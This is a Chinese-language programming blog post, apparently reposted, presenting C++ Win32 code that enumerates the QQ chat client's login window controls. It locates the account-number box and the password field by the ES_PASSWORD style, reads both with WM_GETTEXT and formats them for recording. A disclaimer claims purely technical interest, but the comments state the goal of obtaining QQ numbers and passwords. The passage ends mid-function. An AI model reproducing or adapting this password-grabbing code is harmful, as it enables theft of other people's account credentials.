VC\MFC 编程经验总结—3(转)
来源:互联网 发布:淘宝不知道3c 编辑:程序博客网 时间:2024/06/09 18:51
关于FindWindowEx和EnumChildWindows结合枚举任何一个控件的简单示例,以下代码以qq为例,只抛砖引玉~~呵呵
申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播\复制,但不得用做其他非法用途,否则责任自负.
BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam)
{ //如果找到qq窗口,调用这个过程枚举控件,得到密码和号码
char num[11];//qq号码
char pwd[20];//qq密码
BOOL b = true;
HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄
HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄
//以下循环是得到密码框句柄
HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
HWND AfterHwnd = NULL;
while(b)
{
LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//这个api很有用,可以得到很多东西
if( (lStyle & ES_PASSWORD))//如果有密码属性,就是密码框
{
b=false;
}
else
{
AfterHwnd = EditPWDHwnd;
EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
}
if(EditPWDHwnd==NULL)
return true;
}
//通过WM_GETTEXT取得,窗口中的文本;
SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
//记录号码和密码
CString str;
str.Format("\r\n号码:%s 密码:%s",num,pwd);